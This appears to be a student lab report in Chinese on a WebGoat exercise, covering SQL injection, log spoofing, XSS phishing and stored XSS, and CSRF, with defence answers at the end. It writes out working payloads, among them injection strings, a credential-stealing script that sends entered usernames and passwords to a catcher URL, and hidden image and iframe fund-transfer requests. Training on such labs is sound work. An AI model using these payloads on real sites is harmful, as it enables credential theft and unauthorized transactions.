2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础
实验目的
- 本实践的目标理解常用网络攻击技术的基本原理。
实验内容
- 安装Webgoat
- SQL注入攻击
- Numeric SQL Injection
- Log Spoofing
- String SQL Injection
- LAB: SQL Injection
- XSS攻击
- Phishing with XSS
- Stored XSS Attacks
- CSRF攻击
- Cross Site Request Forgery
- CSRF Prompt By-Pass
实验步骤
安装Webgoat
- 下载安装包
- 运行Webgoat
java -jar webgoat-container-7.0.1-war-exec.jar
- 浏览器中打开WebGoat登录界面:http://localhost:8080/WebGoat(在界面里我们可以看到给出了两组用户名和密码,可以直接使用登陆)
- 成功登录后可在左侧看到实践课程
SQL注入攻击
- Numeric SQL Injection
- 目标:显示天气情况
- 点击
Injection Flaws
Numeric SQL Injection
- 右键点击复选框,选择
inspect Element
审查网页元素对源代码
value="101"
进行修改,在城市编号101后面添加
or 1=1
- 点击Go,可以看到攻击成功
- Log Spoofing
- 目标:使用户名为admin的用户在日志中显示成功登录
- 点击
Injection Flaws>Log Spoofing
- 在User Name中填入
webgoat%0d%0aLogin Succeeded for username: admin
,利用回车0D%和换行符%0A让其在日志中两行显示
- 此外,攻击者可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。
在用户名中输入
admin <script>alert(document.cookie)</script>
,管理员可以看到弹窗的cookie信息
- String SQL Injection
- 目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
- 点击
Injection Flaws-String SQL Injection
- 输入查询的用户名
Smith' or 1=1--
- LAB: SQL Injection
- 目标:使用SQL注入绕过认证。
- 在密码框输入
' or 1=1 --
,登录失败,会发现密码只有一部分输入,说明密码长度有限制。
- 我们在密码框右键选择inspect Element审查网页元素对长度进行修改
- 重新输入
' or 1=1 --
,登录成功
XSS攻击
- Phishing with XSS
- 目标:在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
- 一个带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
- 在XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单
- 现在我们需要一段脚本:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
- 这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
- 将上面两段代码合并搜索
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
- 我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。
- Stored XSS Attacks
- 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 在Message中构造语句
<script>alert("20165210 attack succeed!");</script>Title
任意输入。提交后可发现刚创建的帖子123456
- 点击123456然后会弹出一个对话框,证明XSS攻击成功
CSRF攻击
- Cross Site Request Forgery
- 目标:CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
- 查看页面右下方Parameters中的src和menu值,我的分别为314和900
- 在Message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
- 输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
- CSRF Prompt By-Pass
- 同上面的攻击,查看页面右下方的Parameters中的src和menu值,我的分别为328和900,并输入任意的Title,message框中输入代码
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击Submit生成以Title命名的链接,点击链接,攻击成功
实验后回答问题
- SQL注入攻击原理,如何防御
- 原理:通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。
- 防御办法:
可以在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
- XSS攻击的原理,如何防御
- 原理:攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御办法:
用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码
网页编写者角度:在输入到输出的过程中进行过滤、转义
eg:①过滤<和>标记,XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行,所以最基本最简单的过滤方法,就是转换<和>标记。②HTML属性过滤,一旦用户输入的语句中含有javascript,jscript,vbscript,都用空白代替。③过滤特殊字符:&、回车和空格。
- CSRF攻击原理,如何防御
- 原理:
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码 - 防御办法:
个人觉得可以尽量别让浏览器记住密码,输入一下也没有多麻烦,这样就没有cookie了,也没有可获取的东西
此外,可以在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
实验遇到的问题
- 下载安装包时很慢然后下载下来后出现了jdk不匹配的情况,最终调试后好了。
实验总结与体会
这次实验,我进行了多种攻击的练习,让我对这些攻击的原理有了进一步的理解,这是最后一次实验了,课程也要接近尾声了,感谢老师和学长的帮助,希望今后能更加努力。